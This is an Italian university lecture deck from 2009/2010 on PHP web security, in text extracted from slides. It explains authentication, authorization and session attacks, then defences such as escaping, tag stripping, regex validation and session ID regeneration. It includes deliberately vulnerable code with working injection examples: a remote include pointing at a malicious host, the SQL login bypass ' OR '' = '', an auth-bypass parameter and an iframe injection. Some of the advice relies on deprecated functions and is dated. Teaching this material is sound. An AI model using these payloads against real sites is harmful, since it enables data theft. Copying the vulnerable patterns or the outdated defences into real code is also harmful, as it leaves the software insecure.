MODULO 1 PARTE 3 Programmazione (scripting) server-side con PHP 3.e Cenni alla sicurezza di applicazioni web (PHP) Goy - a.a. 2009/2010 Programmazione Web 1 La sicurezza sul web: introduzione - I Intrusioni • Intrusione = accesso non previsto ad un programma, con lo scopo di prelevare dati nascosti o modificare il funzionamento dell'applicazione; es: furto di dati personali (documenti, credenziali per l'accesso, contatti e dati anagrafici) custoditi all'interno di database non protetti a sufficienza • Per ridurre la possibilità di intrusioni bisogna “mettere in sicurezza” l’applicazione → per implementare un’applicazione web sicura sono necessari tempo ed energie, che spesso vengono invece spesi solo quando si presentano i problemi… • La messa in sicurezza di un’applicazione dovrebbe invece seguire di pari passo la progettazione, per evitare di dover inserire successivamente costose e meno funzionali patch Goy - a.a. 2009/2010 Programmazione Web 2 1 La sicurezza sul web: introduzione - II Esistono diversi modi per attaccare un'applicazione web: 1. Autenticazione 2. Autorizzazione 3 Attacchi lato client 3. 4. Iniezioni di codice 5. Ricerca dei contenuti 6. Attacchi logici Accenniamo solo ad alcuni esempi che si basano su meccanismi visti isti nel corso… corso Goy - a.a. 2009/2010 Programmazione Web 3 Attacchi: autenticazione • Autenticazione = processo tramite il quale un programma verifica le credenziali di un computer/programma/utente • Intrusioni per ottenere i dati di accesso (credenziali): – Brute fforce: pprocesso automatico per p tentativi ed errori che, tramite la generazione casuale di stringhe o l'utilizzo di appositi dizionari, effettua reiterati tentativi per indovinare dati come username, password, numero di carte di credito, … – Autenticazione insufficiente: vulnerabilità che dipende da una cattiva progettazione della sicurezza del sito, per es. un’applicazione web che, implementa un'area riservata inserendola in una cartella o in un file non linkato nella home, accessibile solo chi ne conoscono il percorso, senza altre protezioni – Sistema debole per il recupero e validazione della password: esempio di recupero password non sicuro = a chi dimentica la password vengono richiesti alcuni dati personali inseriti in fase di registrazione (email, domicilio, numero di telefono, …); ricavare queste informazioni risulterà facile per coloro che conoscono la vittima che intendono colpire Goy - a.a. 2009/2010 Programmazione Web 4 2 Attacchi: autorizzazione • Autorizzazione = metodo con cui vengono controllate le credenziali di un utente/applicazione e stabilite le possibilità di accesso a certe operazioni (verifica dei “privilegi”) • Intrusioni per falsificare i propri privilegi: – Session hijacking: “dirottamento della sessione”, consiste nel ricavare l'ID di sessione che individua uno degli utenti collegati in quel momento e sfruttare le sue credenziali per accedere a dati o a sezioni riservate – Autorizzazione insufficiente: vulnerabilità che dipende da una cattiva progettazione della sicurezza del sito, per es. un’applicazione web che permette l'accesso a documenti riservati a chiunque q ne conosca il ppercorso,, senza imporre p le dovute restrizioni – Terminazione della sessione insufficiente: questa vulnerabilità si presenta quando il sito permette all'utente di riutilizzare un vecchio session ID anche dopo diverso tempo, per evitargli di ripetere frequentemente il login (questo fa sì che un malintenzionato abbia più tempo a disposizione per tentare un furto di un session ID) Goy - a.a. 2009/2010 Programmazione Web 5 Attacchi: iniezioni di dati/codice - I • Iniezioni di codice = inserimento di codice che esegue operazioni anomale non previste dall'autore; generalmente usa le variabili GET o POST del linguaggio server-side • Iniezioni PHP - Esempi – U Uso iincauto t di GET e include i l d L’URL di connessione alla pagina esempio.php contiene il parametro include_script, il cui valore è il percorso del file che contiene lo script da inserire all'interno del codice: http://sito_esempio/esempio.php?include_script=previsto.php All’interno di esempio.php: <? include ($_GET["include_script"]); ?> senza alcun controllo sul valore di $_GET[" [ include_script p "]], rendendo possibile inoculare lo script malevolo.php residente sul sito sito_malevolo.com all'interno della variabile $_GET["include_script"] connettendosi a: http://sito_esempio/esempio.php?include_script= http%3A%2F%2Fsito_malevolo.com%3Amalevolo.php [%3A = / e %2F = :] Goy - a.a. 2009/2010 Programmazione Web 6 3 Attacchi: iniezioni di dati/codice - II • Iniezioni SQL - Esempi – Uso incauto di POST Goy - a.a. 2009/2010 Programmazione Web 7 Attacchi: iniezioni di dati/codice - III $username = $_POST['username']; $password = $_POST['password']; $query = "SELECT * FROM dati_utenti WHERE username = '".$username."' AND password = '".$password."'"; $data = mysql_query ($query) or die... while ($aux = mysql_fetch_array($data)) { print "<br>Username: <br>Username: ".$aux[ $aux['username']; username ]; print "<br>Password: ".$aux['password']; print "<br>Nome: ".$aux['nome']; print "<br>Cognome: ".$aux['cognome']; print "<br>N°carta credito: ".$aux['n_carta_credito']; print "<br>Scadenza: ".$aux['scadenza']; } Inserendo dati come questi nella form di login: sempre vero! (''='' è sempre p true)) username: ' OR ' ' = ' password: ' OR ' ' = ' viene generata la seguente query: $query = "SELECT * FROM dati_utenti WHERE username = '' OR '' = '' AND password = '' OR '' = ''" ; e l'utente malintenzionato può stamparsi sul proprio browser tutto il contenuto del database! Goy - a.a. 2009/2010 Programmazione Web 8 4 Difese: test audiovisivi • Contro gi strumenti di analisi automatica (= programmi per la ricerca automatica di vulnerabilità del sistema; usati sia per intrusione, sia per la ricerca preventiva di possibili falle di sicurezza) Esistono diverse possibili azioni preventive; qui ne citiamo solo una a titolo esemplificativo: i CAPTCHA (Completely Automated Public Turing test to tell Computers and Humans Apart), basato sull’idea del test di Turing (porre domande che permettano di capire se l’interlocutore è un umano o una macchina) La forma più comune di CAPTCHA è visiva: vengono mostrati all’utente lettere e numeri distorti in modo da eludere gli OCR (Optical Character Recognition: programmi dedicati al riconoscimento di un'immagine contenente testo) Goy - a.a. 2009/2010 Programmazione Web 9 Difese: applicazioni sicure, validazione input - I • Progettazione di applicazioni sicure: accenniamo solo ad alcune delle tecniche più semplici, a titolo di esempio… – Validazione input Uno dei punti più deboli di un'applicazione web è l’elaborazione dei dati forniti dall dall’utente utente in input (per es es. nei form) → effettuare dei controlli sulle stringhe in input è una questione cruciale ♦Premesse: La verifica va effettuata sul server Nelle impostazioni di php.ini: – la direttiva register_globals, se attivata, assegna provenienti da GET, POST, cookies, automaticamente i dati p ecc. a variabili aventi lo stesso nome; per es: $_POST["username"] = "admin" → automaticamente assegnato a → $username NB nell’installazione di default di XAMPP register_globals è off Goy - a.a. 2009/2010 Programmazione Web 10 5 Difese: applicazioni sicure, validazione input - II – la direttiva variables_order specifica l'ordine di priorità dei parametri aventi lo stesso nome Il default generalmente (e anche in XAMPP) è EGPCS, cioè: system Environment > GET > POST > Cookie > Server environment Per esempio, P i se abbiamo bbi il nome ddell’utente ll’ t t in: i $_GET["username"]="pippo“ $_POST["username"]="amministratore" $_COOKIE["username"]="moderatore" Se variables_order = EGPCS ⇒ $username="moderatore" (valore del cookie) Se variables_order variables order = SCPGE, SCPGE in presenza di due variabili omonime provenienti dal Server enviroment e da GET, verrà assegnato il contenuto di quest'ultima! Goy - a.a. 2009/2010 Programmazione Web 11 Difese: applicazioni sicure, validazione input - III Giocano spesso un ruolo determinante le variabili non inizializzate; per es: auth = false; if (utente_autorizzato()){ $auth = true; } if ($auth) { //stampa del contenuto delle pagine riservate } inserendo all'interno dell'URL della pagina (parametro GET) il valore auth=true è possibile bypassare il controllo della funzione utente_autorizzato! Goy - a.a. 2009/2010 Programmazione Web 12 6 Difese: applicazioni sicure, validazione input - IV ♦Difese: Disattivare la direttiva register_globals Utilizzare delle costanti al posto delle variabili → le costanti richiedono l'uso della funzione define per essere create non possono essere modificate e non possono create, essere passate via GET o POST!: (utente_autorizzato()) ? define("AUTH", true) : define("AUTH", false) if (AUTH) { //stampa del contenuto delle pagine riservate } operatore ternario: (condizione) ? azione1 : azione2 se la condizione è vera, esegue l’azione1, altrimenti l’azione2 la funzione define ha due parametri: nome e valore; definisce una costante nome e gli assegna valore ⇒ l’istruzione assegna un valore alla costante AUTH, in base all'esito della funzione utente_autorizzato Goy - a.a. 2009/2010 Programmazione Web 13 Difese: applicazioni sicure, validazione input - V Usare tecniche di validazione degli input – Numeri: la funzione is_numeric(n) controlla che n sia un numero – Stringhe: validare le stringhe ricevute in input dall'utente è una questione molto più complessa… complessa Esistono due modi principali: (a) filtrare l'inserimento di specifiche sequenze di caratteri, come i tag HTML, eliminando o ri-codificando le parti della stringa potenzialmente dannose (+ permissivo) (b) accettare solo input che rispettino specifiche regole di formattazione ((+ restrittivo)) Goy - a.a. 2009/2010 Programmazione Web 14 7 Difese: applicazioni sicure, validazione input - VI (a) Caso I: apici singoli (') e doppi (") Possibile difesa: funzioni di escape Escape = anteposizione di un carattere di escape, generalmente il backslash (\), ad alcuni caratteri che hanno significati particolari (per esempio gli apici); la presenza del carattere di escape comunica all’interprete di non interpretare ciò che segue Esempi di funzioni di escape in PHP: o mysql_real_escape_string(s): ripulisce la stringa in input s dai caratteri potenzialmente dannosi in SQL, anteponendo un backslash davanti ai caratteri \x00, \n, \r, \, ', ", \x1a o addslashes(s): analoga alla precedente, ma effettua unicamente l'escape di apici doppi e singoli Goy - a.a. 2009/2010 Programmazione Web 15 Difese: applicazioni sicure, validazione input - VII Per esempio, se username → ' OR ' ' = ' e password → ' OR ' ' = ' Se $username = $_POST['username']; $password = $_POST['password']; $query = "SELECT * FROM dati_utenti WHERE username = $username AND password = $password $password"; ; ⇒ query risultante senza funzione di escape: SELECT * FROM dati_utenti WHERE username = '' OR '' = '' AND password = '' OR '' = '' sempre true! sempre true! true ⇒ estrae tutta la tabella!!! Se $username = mysql_real_escape_string($_POST['username']); $password = mysql_real_escape_string($_POST[ mysql real escape string($ POST['password']); password ]); ⇒ query risultante con funzione di escape: SELECT * FROM dati_utenti WHERE username = \'\' OR \'\' = \'\' AND password = \'\' OR \'\' = \'\' Goy - a.a. 2009/2010 Programmazione Web non estrae nulla… 16 8 Difese: applicazioni sicure, validazione input - VIII Caso II: stampe di feedback di quanto inserito dall'utente Possibile difesa: impedire che il codice ricevuto tramite una GET venga interpretato e integrato all'interno della pagina utililzzando le seguenti funzioni PHP : o strip_tags(s) ( ) → elimina li i i tag PHP e HTML della d ll stringa i in i input s o htmlspecialchars(s) → trasforma i caratteri speciali secondo la sintassi HTML (es: < diventa &lt; ecc…) Goy - a.a. 2009/2010 Programmazione Web 17 Difese: applicazioni sicure, validazione input - IX Per esempio: $_GET['username']: "Giorgio <iframe src="http://www.sito_malevolo.com"></iframe>"; ⇒ output senza controlli: print i "Benvenuto, ".$_GET['username']; $ [ ] → sulla pagina: Benvenuto, Giorgio [segue iframe "interpretato" → eseguito!] ⇒ con eliminazione del codice HTML tramite strip_tags: print "Benvenuto, ".strip_tags($_GET['username']); → sulla pagina (i tag iframe spariscono!): Benvenuto, Giorgio ⇒ con conversione del codice HTML in caratteri speciali tramite htmlspecialchars: print "Benvenuto, ".htmlspecialchars($_GET['username']); → sulla pagina: Benvenuto, Giorgio &lt;iframe...&gt;&lt;/iframe&gt; Goy - a.a. 2009/2010 Programmazione Web 18 9 Difese: applicazioni sicure, validazione input - X (b) Caso I: possiamo definire delle regole di formattazione per l’input, attraverso l’uso di espressioni regolari Espressioni regolari(*) = pattern (template, modelli) di stringhe; es: espressione regolare per controllare l’email: $ $pattern='[_a-z0-9-]+ (\.[_a-z0-9-]+)* \ @[a-z0-9-]+ (\.[a-z0-9]{2,})'; espressione formata da almeno una occorrenza (+) di caratteri alfanumerici più – e _ il simbolo @ seguito da un'espressione contenente caratteri alfanumerici più – un punto seguito da un'espressione formata da zero o più occorrenze (*) di caratteri alfanumerici più – e _ un punto seguito da almeno due occorrenze di caratteri alfanumerici if (eregi($pattern (eregi($pattern, $_POST['email'])) $ POST['email'])) { //email valida } la funzione eregi (p, s) controlla che else { la stringa s rispetti il pattern p //email non valida } (NB non è case-sensitive; ereg lo è) (*) M.E. Davis & J.A. Phillips, Programmare in PHP e MySQL, HOPS Tecniche Nuove/O'Reilly, 2008, pp. 330-332 Goy - a.a. 2009/2010 Programmazione Web 19 Difese: applicazioni sicure, validazione input - XI Caso II: controllare la lunghezza delle stringhe in input Per esempio: $pag = $_GET['pag']; if ( strlen($pag) <= 3 && is_numeric($pag)) { //ok... // strlen(s) restituisce i i la l lunghezza l h (int) ( ) della d ll stringa i s } else { print "dati inseriti non validi"; } Caso III: whitelist → controllare i dati provenienti da caselle di scelta multipla (checkbox, radio button) Per esempio: $valore_inviato = $_POST['mese']; $valori ammessi = array( $valori_ammessi array("gen" gen ,"feb" feb ,"mar" mar ,...); ); if (! in_array($valore_inviato, $valori_ammessi)) { print "valore inserito non ammesso"; } in_array(e,a) restituisce true se l’elemento e else { //ok... è presente nell’array a, false atrimenti } Goy - a.a. 2009/2010 Programmazione Web 20 10 Difese: applicazioni sicure, sessione - I – Sicurezza della sessione La misura di sicurezza più semplice = utilizzare i cookies come unico mezzo di trasporto del session ID, inibendo l’URL rewriting (rendendo così il session hijacking molto più ) difficile da realizzare): nelle impostazioni di php.ini → session.use_only_cookie = 1 NB: si può usare la funzione ini_set per impostare temporaneamente session.use_only_cookie a 1 ini_set("session.use_only_cookies", 1); session_start(); ... Goy - a.a. 2009/2010 Programmazione Web 21 Difese: applicazioni sicure, sessione - II Una soluzione più efficace contro il session hijacking è la rinegoziazione del session ID ogni volta che viene inizializzata una sessione (session regeneration): → la funzione session_regenerate_id() genera un nuovo session ID (random) non prevedibile prevedibile, ri ri-creando creando il cookie che ne contiene il valore Rotazione del session ID: simile alla session regeneration ma la generazione del nuovo session ID avviene ad ogni richiesta effettuata dall'utente E’ una soluzione molto sicura, ma presenta alcuni problemi: − crea problemi con versioni PHP antecedenti alla 5.1 − impedisce il funzionamento del tasto back del browser (il back effettua una richiesta con un session ID non più valido in quanto rinegoziato) − impedisce il funzionamento corretto di memoria cache o di proxy Goy - a.a. 2009/2010 Programmazione Web 22 11 La sicurezza sul web: conclusioni • La maggioranza dei problemi di sicurezza delle applicazioni web è legata alla validazione degli input: impedire che quanto inserito dall'utente possa contenere stringhe dannose significa già aver reso un sito più sicuro • Non si tratta di un'operazione semplice: si deve cercare un compromesso tra le funzionalità dell'applicazione (che rischiano di venire compromesse da controlli troppo restrittivi) e la sua usabilità da un lato e la messa in sicurezza dall’altro (ricordarsi che gli utenti sono pigri! e spesso non vogliono dover risolvere un CAPTCHA ad ogni accesso ) accesso…) • Ricordarsi che le scelte di messa in sicurezza dipendono dal tipo di applicazione e di dati trattati! Goy - a.a. 2009/2010 Programmazione Web 23 12